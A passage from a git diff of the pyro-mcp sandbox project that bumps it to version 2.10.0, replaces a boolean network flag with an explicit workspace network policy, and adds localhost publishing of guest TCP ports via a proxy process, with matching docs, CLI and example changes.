`.tar.gz` / `.tgz` archive before the workspace is returned. +- `Pyro.create_workspace(..., network_policy="off"|"egress"|"egress+published-ports")` controls workspace guest networking and whether services may publish host ports. - `Pyro.create_workspace(..., secrets=...)` persists guest-only UTF-8 secrets outside `/workspace`. - `Pyro.push_workspace_sync(...)` imports later host-side directory or archive content into a started workspace. - `Pyro.export_workspace(...)` exports one file or directory from `/workspace` to an explicit host path. @@ -184,6 +189,7 @@ Behavioral defaults: - `Pyro.reset_workspace(...)` recreates the full sandbox from `baseline` or one named snapshot and clears command, shell, and service history. - `Pyro.start_service(..., secret_env=...)` maps persisted workspace secrets into that service process as environment variables for that start call only. - `Pyro.start_service(...)` starts one named long-running process in a started workspace and waits for its typed readiness probe when configured. +- `Pyro.start_service(..., published_ports=[...])` publishes one or more guest TCP ports to `127.0.0.1` on the host when the workspace network policy is `egress+published-ports`. - `Pyro.list_services(...)`, `Pyro.status_service(...)`, `Pyro.logs_service(...)`, and `Pyro.stop_service(...)` manage those persisted workspace services. - `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. - `Pyro.exec_workspace(..., secret_env=...)` maps persisted workspace secrets into that exec call as environment variables for that call only. @@ -243,6 +249,7 @@ Behavioral defaults: - `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. - `workspace_create` exposes `allow_host_compat`, which defaults to `false`. - `workspace_create` accepts optional `seed_path` and seeds `/workspace` from a host directory or a local `.tar` / `.tar.gz` / `.tgz` archive before the workspace is returned. +- `workspace_create` accepts `network_policy` with `off`, `egress`, or `egress+published-ports` to control workspace guest networking and service port publication. - `workspace_create` accepts optional `secrets` and persists guest-only UTF-8 secret material outside `/workspace`. - `workspace_sync_push` imports later host-side directory or archive content into a started workspace, with an optional `dest` under `/workspace`. - `workspace_export` exports one file or directory from `/workspace` to an explicit host path. @@ -250,6 +257,7 @@ Behavioral defaults: - `snapshot_create`, `snapshot_list`, and `snapshot_delete` manage explicit named snapshots in addition to the implicit `baseline`. - `workspace_reset` recreates the full sandbox and restores `/workspace` from `baseline` or one named snapshot. - `service_start`, `service_list`, `service_status`, `service_logs`, and `service_stop` manage persistent named services inside a started workspace. +- `service_start` accepts optional `published_ports` to expose guest TCP ports on `127.0.0.1` when the workspace network policy is `egress+published-ports`. - `vm_exec` runs one command and auto-cleans that VM after the exec completes. - `workspace_exec` accepts optional `secret_env` mappings for one exec call and leaves the workspace alive. - `service_start` accepts optional `secret_env` mappings for one service start call. diff --git a/docs/roadmap/task-workspace-ga.md b/docs/roadmap/task-workspace-ga.md index 768c869..081b34f 100644 --- a/docs/roadmap/task-workspace-ga.md +++ b/docs/roadmap/task-workspace-ga.md @@ -2,7 +2,7 @@ This roadmap turns the agent-workspace vision into release-sized milestones. -Current baseline is `2.9.0`: +Current baseline is `2.10.0`: - workspace persistence exists and the public surface is now workspace-first - host crossing currently covers create-time seeding, later sync push, and explicit export @@ -11,7 +11,7 @@ Current baseline is `2.9.0`: - multi-service lifecycle exists with typed readiness and aggregate workspace status counts - named snapshots and full workspace reset now exist - explicit secrets now exist for guest-backed workspaces -- no explicit host port publication contract exists yet +- explicit workspace network policy and localhost published service ports now exist Locked roadmap decisions: @@ -36,7 +36,7 @@ also expected to update: 4. [`2.7.0` Service Lifecycle And Typed Readiness](task-workspace-ga/2.7.0-service-lifecycle-and-typed-readiness.md) - Done 5. [`2.8.0` Named Snapshots And Reset](task-workspace-ga/2.8.0-named-snapshots-and-reset.md) - Done 6. [`2.9.0` Secrets](task-workspace-ga/2.9.0-secrets.md) - Done -7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) +7. [`2.10.0` Network Policy And Host Port Publication](task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md) - Done 8. [`3.0.0` Stable Workspace Product](task-workspace-ga/3.0.0-stable-workspace-product.md) 9. [`3.1.0` Secondary Disk Tools](task-workspace-ga/3.1.0-secondary-disk-tools.md) diff --git a/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md b/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md index 20256d5..680d318 100644 --- a/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md +++ b/docs/roadmap/task-workspace-ga/2.10.0-network-policy-and-host-port-publication.md @@ -1,5 +1,7 @@ # `2.10.0` Network Policy And Host Port Publication +Status: Done + ## Goal Replace the coarse current network toggle with an explicit workspace network diff --git a/examples/python_workspace.py b/examples/python_workspace.py index c53a978..eaf0406 100644 --- a/examples/python_workspace.py +++ b/examples/python_workspace.py @@ -21,6 +21,7 @@ def main() -> None: created = pyro.create_workspace( environment="debian:12", seed_path=seed_dir, + network_policy="egress+published-ports", secrets=[ {"name": "API_TOKEN", "value": "expected"}, {"name": "FILE_TOKEN", "file_path": str(secret_file)}, @@ -60,11 +61,13 @@ def main() -> None: command="touch .web-ready && while true; do sleep 60; done", readiness={"type": "file", "path": ".web-ready"}, secret_env={"API_TOKEN": "API_TOKEN"}, + published_ports=[{"guest_port": 8080}], ) services = pyro.list_services(workspace_id) print(f"services={services['count']} running={services['running_count']}") service_status = pyro.status_service(workspace_id, "web") print(f"service_state={service_status['state']} ready_at={service_status['ready_at']}") + print(f"published_ports={service_status['published_ports']}") service_logs = pyro.logs_service(workspace_id, "web", tail_lines=20) print(f"service_stdout_len={len(service_logs['stdout'])}") pyro.stop_service(workspace_id, "web") diff --git a/pyproject.toml b/pyproject.toml index 3c72319..84f27dc 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.9.0" +version = "2.10.0" description = "Ephemeral Firecracker sandboxes with curated environments, persistent workspaces, and MCP tools." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/api.py b/src/pyro_mcp/api.py index a6e1832..a097903 100644 --- a/src/pyro_mcp/api.py +++ b/src/pyro_mcp/api.py @@ -13,6 +13,7 @@ from pyro_mcp.vm_manager import ( DEFAULT_TIMEOUT_SECONDS, DEFAULT_TTL_SECONDS, DEFAULT_VCPU_COUNT, + DEFAULT_WORKSPACE_NETWORK_POLICY, VmManager, ) @@ -84,7 +85,7 @@ class Pyro: vcpu_count: int = DEFAULT_VCPU_COUNT, mem_mib: int = DEFAULT_MEM_MIB, ttl_seconds: int = DEFAULT_TTL_SECONDS, - network: bool = False, + network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | Path | None = None, secrets: list[dict[str, str]] | None = None, @@ -94,7 +95,7 @@ class Pyro: vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds, - network=network, + network_policy=network_policy, allow_host_compat=allow_host_compat, seed_path=seed_path, secrets=secrets, @@ -241,6 +242,7 @@ class Pyro: ready_timeout_seconds: int = 30, ready_interval_ms: int = 500, secret_env: dict[str, str] | None = None, + published_ports: list[dict[str, int | None]] | None = None, ) -> dict[str, Any]: return self._manager.start_service( workspace_id, @@ -251,6 +253,7 @@ class Pyro: ready_timeout_seconds=ready_timeout_seconds, ready_interval_ms=ready_interval_ms, secret_env=secret_env, + published_ports=published_ports, ) def list_services(self, workspace_id: str) -> dict[str, Any]: @@ -408,7 +411,7 @@ class Pyro: vcpu_count: int = DEFAULT_VCPU_COUNT, mem_mib: int = DEFAULT_MEM_MIB, ttl_seconds: int = DEFAULT_TTL_SECONDS, - network: bool = False, + network_policy: str = DEFAULT_WORKSPACE_NETWORK_POLICY, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | None = None, secrets: list[dict[str, str]] | None = None, @@ -419,7 +422,7 @@ class Pyro: vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds, - network=network, + network_policy=network_policy, allow_host_compat=allow_host_compat, seed_path=seed_path, secrets=secrets, @@ -574,6 +577,7 @@ class Pyro: ready_timeout_seconds: int = 30, ready_interval_ms: int = 500, secret_env: dict[str, str] | None = None, + published_ports: list[dict[str, int | None]] | None = None, ) -> dict[str, Any]: """Start a named long-running service inside a workspace.""" readiness: dict[str, Any] | None = None @@ -594,6 +598,7 @@ class Pyro: ready_timeout_seconds=ready_timeout_seconds, ready_interval_ms=ready_interval_ms, secret_env=secret_env, + published_ports=published_ports, ) @server.tool() diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 655804b..9e6e365 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -160,6 +160,7 @@ def _print_workspace_summary_human(payload: dict[str, Any], *, action: str) -> N print(f"Environment: {str(payload.get('environment', 'unknown'))}") print(f"State: {str(payload.get('state', 'unknown'))}") print(f"Workspace: {str(payload.get('workspace_path', '/workspace'))}") + print(f"Network policy: {str(payload.get('network_policy', 'off'))}") workspace_seed = payload.get("workspace_seed") if isinstance(workspace_seed, dict): mode = str(workspace_seed.get("mode", "empty")) @@ -378,13 +379,27 @@ def _print_workspace_shell_read_human(payload: dict[str, Any]) -> None: def _print_workspace_service_summary_human(payload: dict[str, Any], *, prefix: str) -> None: + published_ports = payload.get("published_ports") + published_text = "" + if isinstance(published_ports, list) and published_ports: + parts = [] + for item in published_ports: + if not isinstance(item, dict): + continue + parts.append( + f"{str(item.get('host', '127.0.0.1'))}:{int(item.get('host_port', 0))}" + f"->{int(item.get('guest_port', 0))}/{str(item.get('protocol', 'tcp'))}" + ) + if parts: + published_text = " published_ports=" + ",".join(parts) print( f"[{prefix}] " f"workspace_id={str(payload.get('workspace_id', 'unknown'))} " f"service_name={str(payload.get('service_name', 'unknown'))} " f"state={str(payload.get('state', 'unknown'))} " f"cwd={str(payload.get('cwd', WORKSPACE_GUEST_PATH))} " - f"execution_mode={str(payload.get('execution_mode', 'unknown'))}", + f"execution_mode={str(payload.get('execution_mode', 'unknown'))}" + f"{published_text}", file=sys.stderr, flush=True, ) @@ -402,6 +417,18 @@ def _print_workspace_service_list_human(payload: dict[str, Any]) -> None: f"{str(service.get('service_name', 'unknown'))} " f"[{str(service.get('state', 'unknown'))}] " f"cwd={str(service.get('cwd', WORKSPACE_GUEST_PATH))}" + + ( + " published=" + + ",".join( + f"{str(item.get('host', '127.0.0.1'))}:{int(item.get('host_port', 0))}" + f"->{int(item.get('guest_port', 0))}/{str(item.get('protocol', 'tcp'))}" + for item in service.get("published_ports", []) + if isinstance(item, dict) + ) + if isinstance(service.get("published_ports"), list) + and service.get("published_ports") + else "" + ) ) @@ -683,6 +710,7 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace create debian:12 pyro workspace create debian:12 --seed-path ./repo + pyro workspace create debian:12 --network-policy egress pyro workspace create debian:12 --secret API_TOKEN=expected pyro workspace sync push WORKSPACE_ID ./changes pyro workspace snapshot create WORKSPACE_ID checkpoint @@ -718,9 +746,10 @@ def _build_parser() -> argparse.ArgumentParser: help="Time-to-live for the workspace before automatic cleanup.", ) workspace_create_parser.add_argument( - "--network", - action="store_true", - help="Enable outbound guest networking for the workspace guest.", + "--network-policy", + choices=("off", "egress", "egress+published-ports"), + default="off", + help="Workspace network policy.", ) workspace_create_parser.add_argument( "--allow-host-compat", @@ -1204,6 +1233,8 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace service start WORKSPACE_ID app --ready-file .ready --publish 8080 -- \ + sh -lc 'touch .ready && python3 -m http.server 8080' pyro workspace service list WORKSPACE_ID pyro workspace service status WORKSPACE_ID app pyro workspace service logs WORKSPACE_ID app --tail-lines 50 @@ -1229,6 +1260,9 @@ def _build_parser() -> argparse.ArgumentParser: Examples: pyro workspace service start WORKSPACE_ID app --ready-file .ready -- \ sh -lc 'touch .ready && while true; do sleep 60; done' + pyro workspace service start WORKSPACE_ID app \ + --ready-file .ready --publish 18080:8080 -- \ + sh -lc 'touch .ready && python3 -m http.server 8080' pyro workspace service start WORKSPACE_ID app --secret-env API_TOKEN -- \ sh -lc 'test \"$API_TOKEN\" = \"expected\"; touch .ready; \ while true; do sleep 60; done' @@ -1280,6 +1314,16 @@ while true; do sleep 60; done' metavar="SECRET[=ENV_VAR]", help="Expose one persisted workspace secret as an environment variable for this service.", ) + workspace_service_start_parser.add_argument( + "--publish", + action="append", + default=[], + metavar="GUEST_PORT|HOST_PORT:GUEST_PORT", + help=( + "Publish one guest TCP port on 127.0.0.1. Requires workspace network policy " + "`egress+published-ports`." + ), + ) workspace_service_start_parser.add_argument( "--json", action="store_true", @@ -1528,6 +1572,33 @@ def _parse_workspace_secret_env_options(values: list[str]) -> dict[str, str]: return parsed +def _parse_workspace_publish_options(values: list[str]) -> list[dict[str, int | None]]: + parsed: list[dict[str, int | None]] = [] + for raw_value in values: + candidate = raw_value.strip() + if candidate == "": + raise ValueError("published ports must not be empty") + if ":" in candidate: + raw_host_port, raw_guest_port = candidate.split(":", 1) + try: + host_port = int(raw_host_port) + guest_port = int(raw_guest_port) + except ValueError as exc: + raise ValueError( + "published ports must use GUEST_PORT or HOST_PORT:GUEST_PORT" + ) from exc + parsed.append({"host_port": host_port, "guest_port": guest_port}) + else: + try: + guest_port = int(candidate) + except ValueError as exc: + raise ValueError( + "published ports must use GUEST_PORT or HOST_PORT:GUEST_PORT" + ) from exc + parsed.append({"host_port": None, "guest_port": guest_port}) + return parsed + + def main() -> None: args = _build_parser().parse_args() pyro = Pyro() @@ -1634,7 +1705,7 @@ def main() -> None: vcpu_count=args.vcpu_count, mem_mib=args.mem_mib, ttl_seconds=args.ttl_seconds, - network=args.network, + network_policy=getattr(args, "network_policy", "off"), allow_host_compat=args.allow_host_compat, seed_path=args.seed_path, secrets=secrets or None, @@ -1932,6 +2003,7 @@ def main() -> None: readiness = {"type": "command", "command": args.ready_command} command = _require_command(args.command_args) secret_env = _parse_workspace_secret_env_options(getattr(args, "secret_env", [])) + published_ports = _parse_workspace_publish_options(getattr(args, "publish", [])) try: payload = pyro.start_service( args.workspace_id, @@ -1942,6 +2014,7 @@ def main() -> None: ready_timeout_seconds=args.ready_timeout_seconds, ready_interval_ms=args.ready_interval_ms, secret_env=secret_env or None, + published_ports=published_ports or None, ) except Exception as exc: # noqa: BLE001 if bool(args.json): diff --git a/src/pyro_mcp/contract.py b/src/pyro_mcp/contract.py index 274e34b..d952a8b 100644 --- a/src/pyro_mcp/contract.py +++ b/src/pyro_mcp/contract.py @@ -27,7 +27,7 @@ PUBLIC_CLI_WORKSPACE_CREATE_FLAGS = ( "--vcpu-count", "--mem-mib", "--ttl-seconds", - "--network", + "--network-policy", "--allow-host-compat", "--seed-path", "--secret", @@ -49,6 +49,7 @@ PUBLIC_CLI_WORKSPACE_SERVICE_START_FLAGS = ( "--ready-timeout-seconds", "--ready-interval-ms", "--secret-env", + "--publish", "--json", ) PUBLIC_CLI_WORKSPACE_SERVICE_STATUS_FLAGS = ("--json",) diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 7a5e82e..0a248c3 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -19,7 +19,7 @@ from typing import Any from pyro_mcp.runtime import DEFAULT_PLATFORM, RuntimePaths DEFAULT_ENVIRONMENT_VERSION = "1.0.0" -DEFAULT_CATALOG_VERSION = "2.9.0" +DEFAULT_CATALOG_VERSION = "2.10.0" OCI_MANIFEST_ACCEPT = ", ".join( ( "application/vnd.oci.image.index.v1+json", diff --git a/src/pyro_mcp/vm_manager.py b/src/pyro_mcp/vm_manager.py index 0457523..3dad54d 100644 --- a/src/pyro_mcp/vm_manager.py +++ b/src/pyro_mcp/vm_manager.py @@ -12,6 +12,7 @@ import shutil import signal import socket import subprocess +import sys import tarfile import tempfile import threading @@ -33,6 +34,7 @@ from pyro_mcp.vm_environments import EnvironmentStore, default_cache_dir, get_en from pyro_mcp.vm_firecracker import build_launch_plan from pyro_mcp.vm_guest import VsockExecClient from pyro_mcp.vm_network import NetworkConfig, TapNetworkManager +from pyro_mcp.workspace_ports import DEFAULT_PUBLISHED_PORT_HOST from pyro_mcp.workspace_shells import ( create_local_shell, get_local_shell, @@ -43,6 +45,7 @@ from pyro_mcp.workspace_shells import ( VmState = Literal["created", "started", "stopped"] WorkspaceShellState = Literal["running", "stopped"] WorkspaceServiceState = Literal["running", "exited", "stopped", "failed"] +WorkspaceNetworkPolicy = Literal["off", "egress", "egress+published-ports"] DEFAULT_VCPU_COUNT = 1 DEFAULT_MEM_MIB = 1024 @@ -50,7 +53,7 @@ DEFAULT_TIMEOUT_SECONDS = 30 DEFAULT_TTL_SECONDS = 600 DEFAULT_ALLOW_HOST_COMPAT = False -WORKSPACE_LAYOUT_VERSION = 6 +WORKSPACE_LAYOUT_VERSION = 7 WORKSPACE_BASELINE_DIRNAME = "baseline" WORKSPACE_BASELINE_ARCHIVE_NAME = "workspace.tar" WORKSPACE_SNAPSHOTS_DIRNAME = "snapshots" @@ -72,6 +75,7 @@ DEFAULT_SHELL_MAX_CHARS = 65536 DEFAULT_SERVICE_READY_TIMEOUT_SECONDS = 30 DEFAULT_SERVICE_READY_INTERVAL_MS = 500 DEFAULT_SERVICE_LOG_TAIL_LINES = 200 +DEFAULT_WORKSPACE_NETWORK_POLICY: WorkspaceNetworkPolicy = "off" WORKSPACE_SHELL_SIGNAL_NAMES = shell_signal_names() WORKSPACE_SERVICE_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") WORKSPACE_SNAPSHOT_NAME_RE = re.compile(r"^[A-Za-z0-9][A-Za-z0-9._-]{0,63}$") @@ -117,7 +121,7 @@ class WorkspaceRecord: created_at: float expires_at: float state: VmState - network_requested: bool + network_policy: WorkspaceNetworkPolicy allow_host_compat: bool firecracker_pid: int | None = None last_error: str | None = None @@ -135,6 +139,7 @@ class WorkspaceRecord: cls, instance: VmInstance, *, + network_policy: WorkspaceNetworkPolicy = DEFAULT_WORKSPACE_NETWORK_POLICY, command_count: int = 0, last_command: dict[str, Any] | None = None, workspace_seed: dict[str, Any] | None = None, @@ -149,7 +154,7 @@ class WorkspaceRecord: created_at=instance.created_at, expires_at=instance.expires_at, state=instance.state, - network_requested=instance.network_requested, + network_policy=network_policy, allow_host_compat=instance.allow_host_compat, firecracker_pid=instance.firecracker_pid, last_error=instance.last_error, @@ -174,7 +179,7 @@ class WorkspaceRecord: expires_at=self.expires_at, workdir=workdir, state=self.state, - network_requested=self.network_requested, + network_requested=self.network_policy != "off", allow_host_compat=self.allow_host_compat, firecracker_pid=self.firecracker_pid, last_error=self.last_error, @@ -193,7 +198,7 @@ class WorkspaceRecord: "created_at": self.created_at, "expires_at": self.expires_at, "state": self.state, - "network_requested": self.network_requested, + "network_policy": self.network_policy, "allow_host_compat": self.allow_host_compat, "firecracker_pid": self.firecracker_pid, "last_error": self.last_error, @@ -218,7 +223,7 @@ class WorkspaceRecord: created_at=float(payload["created_at"]), expires_at=float(payload["expires_at"]), state=cast(VmState, str(payload.get("state", "stopped"))), - network_requested=bool(payload.get("network_requested", False)), + network_policy=_workspace_network_policy_from_payload(payload), allow_host_compat=bool(payload.get("allow_host_compat", DEFAULT_ALLOW_HOST_COMPAT)), firecracker_pid=_optional_int(payload.get("firecracker_pid")), last_error=_optional_str(payload.get("last_error")), @@ -365,6 +370,7 @@ class WorkspaceServiceRecord: pid: int | None = None execution_mode: str = "pending" stop_reason: str | None = None + published_ports: list[WorkspacePublishedPortRecord] = field(default_factory=list) metadata: dict[str, str] = field(default_factory=dict) def to_payload(self) -> dict[str, Any]: @@ -383,6 +389,9 @@ class WorkspaceServiceRecord: "pid": self.pid, "execution_mode": self.execution_mode, "stop_reason": self.stop_reason, + "published_ports": [ + published_port.to_payload() for published_port in self.published_ports + ], "metadata": dict(self.metadata), } @@ -412,10 +421,53 @@ class WorkspaceServiceRecord: pid=None if payload.get("pid") is None else int(payload.get("pid", 0)), execution_mode=str(payload.get("execution_mode", "pending")), stop_reason=_optional_str(payload.get("stop_reason")), + published_ports=_workspace_published_port_records(payload.get("published_ports")), metadata=_string_dict(payload.get("metadata")), ) +@dataclass(frozen=True) +class WorkspacePublishedPortRecord: + """Persisted localhost published-port metadata for one service.""" + + guest_port: int + host_port: int + host: str = DEFAULT_PUBLISHED_PORT_HOST + protocol: str = "tcp" + proxy_pid: int | None = None + + def to_payload(self) -> dict[str, Any]: + return { + "guest_port": self.guest_port, + "host_port": self.host_port, + "host": self.host, + "protocol": self.protocol, + "proxy_pid": self.proxy_pid, + } + + @classmethod + def from_payload(cls, payload: dict[str, Any]) -> WorkspacePublishedPortRecord: + return cls( + guest_port=int(payload["guest_port"]), + host_port=int(payload["host_port"]), + host=str(payload.get("host", DEFAULT_PUBLISHED_PORT_HOST)), + protocol=str(payload.get("protocol", "tcp")), + proxy_pid=( + None + if payload.get("proxy_pid") is None + else int(payload.get("proxy_pid", 0)) + ), + ) + + +@dataclass(frozen=True) +class WorkspacePublishedPortSpec: + """Requested published-port configuration for one service.""" + + guest_port: int + host_port: int | None = None + + @dataclass(frozen=True) class PreparedWorkspaceSeed: """Prepared host-side seed archive plus metadata.""" @@ -534,6 +586,49 @@ def _workspace_seed_dict(value: object) -> dict[str, Any]: return payload +def _normalize_workspace_network_policy(policy: str) -> WorkspaceNetworkPolicy: + normalized = policy.strip().lower() + if normalized not in {"off", "egress", "egress+published-ports"}: + raise ValueError("network_policy must be one of: off, egress, egress+published-ports") + return cast(WorkspaceNetworkPolicy, normalized) + + +def _workspace_network_policy_from_payload(payload: dict[str, Any]) -> WorkspaceNetworkPolicy: + raw_policy = payload.get("network_policy") + if raw_policy is not None: + return _normalize_workspace_network_policy(str(raw_policy)) + raw_network_requested = payload.get("network_requested", False) + if isinstance(raw_network_requested, str): + network_requested = raw_network_requested.strip().lower() in {"1", "true", "yes", "on"} + else: + network_requested = bool(raw_network_requested) + if network_requested: + return "egress" + return DEFAULT_WORKSPACE_NETWORK_POLICY + + +def _serialize_workspace_published_port_public( + published_port: WorkspacePublishedPortRecord, +) -> dict[str, Any]: + return { + "host": published_port.host, + "host_port": published_port.host_port, + "guest_port": published_port.guest_port, + "protocol": published_port.protocol, + } + + +def _workspace_published_port_records(value: object) -> list[WorkspacePublishedPortRecord]: + if not isinstance(value, list): + return [] + records: list[WorkspacePublishedPortRecord] = [] + for item in value: + if not isinstance(item, dict): + continue + records.append(WorkspacePublishedPortRecord.from_payload(item)) + return records + + def _workspace_secret_records(value: object) -> list[WorkspaceSecretRecord]: if not isinstance(value, list): return [] @@ -1159,6 +1254,59 @@ def _normalize_workspace_secret_env_mapping( return normalized +def _normalize_workspace_published_port( + *, + guest_port: object, + host_port: object | None = None, +) -> WorkspacePublishedPortSpec: + if isinstance(guest_port, bool) or not isinstance(guest_port, int | str): + raise ValueError("published guest_port must be an integer") + try: + normalized_guest_port = int(guest_port) + except (TypeError, ValueError) as exc: + raise ValueError("published guest_port must be an integer") from exc + if normalized_guest_port <= 0 or normalized_guest_port > 65535: + raise ValueError("published guest_port must be between 1 and 65535") + normalized_host_port: int | None = None + if host_port is not None: + if isinstance(host_port, bool) or not isinstance(host_port, int | str): + raise ValueError("published host_port must be an integer") + try: + normalized_host_port = int(host_port) + except (TypeError, ValueError) as exc: + raise ValueError("published host_port must be an integer") from exc + if normalized_host_port <= 1024 or normalized_host_port > 65535: + raise ValueError("published host_port must be between 1025 and 65535") + return WorkspacePublishedPortSpec( + guest_port=normalized_guest_port, + host_port=normalized_host_port, + ) + + +def _normalize_workspace_published_port_specs( + published_ports: list[dict[str, Any]] | None, +) -> list[WorkspacePublishedPortSpec]: + if not published_ports: + return [] + normalized: list[WorkspacePublishedPortSpec] = [] + seen_guest_ports: set[tuple[int | None, int]] = set() + for index, item in enumerate(published_ports, start=1): + if not isinstance(item, dict): + raise ValueError(f"published port #{index} must be a dictionary") + spec = _normalize_workspace_published_port( + guest_port=item.get("guest_port"), + host_port=item.get("host_port"), + ) + dedupe_key = (spec.host_port, spec.guest_port) + if dedupe_key in seen_guest_ports: + raise ValueError( + "published ports must not repeat the same host/guest port mapping" + ) + seen_guest_ports.add(dedupe_key) + normalized.append(spec) + return normalized + + def _normalize_workspace_service_readiness( readiness: dict[str, Any] | None, ) -> dict[str, Any] | None: @@ -1215,6 +1363,15 @@ def _workspace_service_runner_path(services_dir: Path, service_name: str) -> Pat return services_dir / f"{service_name}.runner.sh" +def _workspace_service_port_ready_path( + services_dir: Path, + service_name: str, + host_port: int, + guest_port: int, +) -> Path: + return services_dir / f"{service_name}.port-{host_port}-to-{guest_port}.ready.json" + + def _read_service_exit_code(status_path: Path) -> int | None: if not status_path.exists(): return None @@ -1348,6 +1505,7 @@ def _refresh_local_service_record( pid=service.pid, execution_mode=service.execution_mode, stop_reason=service.stop_reason, + published_ports=list(service.published_ports), metadata=dict(service.metadata), ) return refreshed @@ -1466,6 +1624,95 @@ def _stop_local_service( return refreshed +def _start_workspace_published_port_proxy( + *, + services_dir: Path, + service_name: str, + workspace_id: str, + guest_ip: str, + spec: WorkspacePublishedPortSpec, +) -> WorkspacePublishedPortRecord: + ready_path = _workspace_service_port_ready_path( + services_dir, + service_name, + spec.host_port or 0, + spec.guest_port, + ) + ready_path.unlink(missing_ok=True) + command = [ + sys.executable, + "-m", + "pyro_mcp.workspace_ports", + "--listen-host", + DEFAULT_PUBLISHED_PORT_HOST, + "--listen-port", + str(spec.host_port or 0), + "--target-host", + guest_ip, + "--target-port", + str(spec.guest_port), + "--ready-file", + str(ready_path), + ] + process = subprocess.Popen( # noqa: S603 + command, + text=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + start_new_session=True, + ) + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if ready_path.exists(): + payload = json.loads(ready_path.read_text(encoding="utf-8")) + if not isinstance(payload, dict): + raise RuntimeError("published port proxy ready payload is invalid") + ready_path.unlink(missing_ok=True) + return WorkspacePublishedPortRecord( + guest_port=int(payload.get("target_port", spec.guest_port)), + host_port=int(payload["host_port"]), + host=str(payload.get("host", DEFAULT_PUBLISHED_PORT_HOST)), + protocol=str(payload.get("protocol", "tcp")), + proxy_pid=process.pid, + ) + if process.poll() is not None: + raise RuntimeError( + "failed to start published port proxy for " + f"service {service_name!r} in workspace {workspace_id!r}" + ) + time.sleep(0.05) + _stop_workspace_published_port_proxy( + WorkspacePublishedPortRecord( + guest_port=spec.guest_port, + host_port=spec.host_port or 0, + proxy_pid=process.pid, + ) + ) + ready_path.unlink(missing_ok=True) + raise RuntimeError( + "timed out waiting for published port proxy readiness for " + f"service {service_name!r} in workspace {workspace_id!r}" + ) + + +def _stop_workspace_published_port_proxy(published_port: WorkspacePublishedPortRecord) -> None: + if published_port.proxy_pid is None: + return + try: + os.killpg(published_port.proxy_pid, signal.SIGTERM) + except ProcessLookupError: + return + deadline = time.monotonic() + 5 + while time.monotonic() < deadline: + if not _pid_is_running(published_port.proxy_pid): + return + time.sleep(0.05) + try: + os.killpg(published_port.proxy_pid, signal.SIGKILL) + except ProcessLookupError: + return + + def _instance_workspace_host_dir(instance: VmInstance) -> Path: raw_value = instance.metadata.get("workspace_host_dir") if raw_value is None or raw_value == "": @@ -3057,13 +3304,14 @@ class VmManager: vcpu_count: int = DEFAULT_VCPU_COUNT, mem_mib: int = DEFAULT_MEM_MIB, ttl_seconds: int = DEFAULT_TTL_SECONDS, - network: bool = False, + network_policy: WorkspaceNetworkPolicy | str = DEFAULT_WORKSPACE_NETWORK_POLICY, allow_host_compat: bool = DEFAULT_ALLOW_HOST_COMPAT, seed_path: str | Path | None = None, secrets: list[dict[str, str]] | None = None, ) -> dict[str, Any]: self._validate_limits(vcpu_count=vcpu_count, mem_mib=mem_mib, ttl_seconds=ttl_seconds) get_environment(environment, runtime_paths=self._runtime_paths) + normalized_network_policy = _normalize_workspace_network_policy(str(network_policy)) prepared_seed = self._prepare_workspace_seed(seed_path) now = time.time() workspace_id = uuid.uuid4().hex[:12] @@ -3097,12 +3345,13 @@ class VmManager: created_at=now, expires_at=now + ttl_seconds, workdir=runtime_dir, - network_requested=network, + network_requested=normalized_network_policy != "off", allow_host_compat=allow_host_compat, ) instance.metadata["allow_host_compat"] = str(allow_host_compat).lower() instance.metadata["workspace_path"] = WORKSPACE_GUEST_PATH instance.metadata["workspace_host_dir"] = str(host_workspace_dir) + instance.metadata["network_policy"] = normalized_network_policy try: with self._lock: self._reap_expired_locked(now) @@ -3112,6 +3361,9 @@ class VmManager: raise RuntimeError( f"max active VMs reached ({self._max_active_vms}); delete old VMs first" ) + self._require_workspace_network_policy_support( + network_policy=normalized_network_policy + ) self._backend.create(instance) if self._runtime_capabilities.supports_guest_exec: self._ensure_workspace_guest_bootstrap_support(instance) @@ -3119,6 +3371,7 @@ class VmManager: self._start_instance_locked(instance) workspace = WorkspaceRecord.from_instance( instance, + network_policy=normalized_network_policy, workspace_seed=prepared_seed.to_payload(), secrets=secret_records, ) @@ -3435,6 +3688,9 @@ class VmManager: recreated = workspace.to_instance( workdir=self._workspace_runtime_dir(workspace.workspace_id) ) + self._require_workspace_network_policy_support( + network_policy=workspace.network_policy + ) self._backend.create(recreated) if self._runtime_capabilities.supports_guest_exec: self._ensure_workspace_guest_bootstrap_support(recreated) @@ -3798,11 +4054,13 @@ class VmManager: ready_timeout_seconds: int = DEFAULT_SERVICE_READY_TIMEOUT_SECONDS, ready_interval_ms: int = DEFAULT_SERVICE_READY_INTERVAL_MS, secret_env: dict[str, str] | None = None, + published_ports: list[dict[str, Any]] | None = None, ) -> dict[str, Any]: normalized_service_name = _normalize_workspace_service_name(service_name) 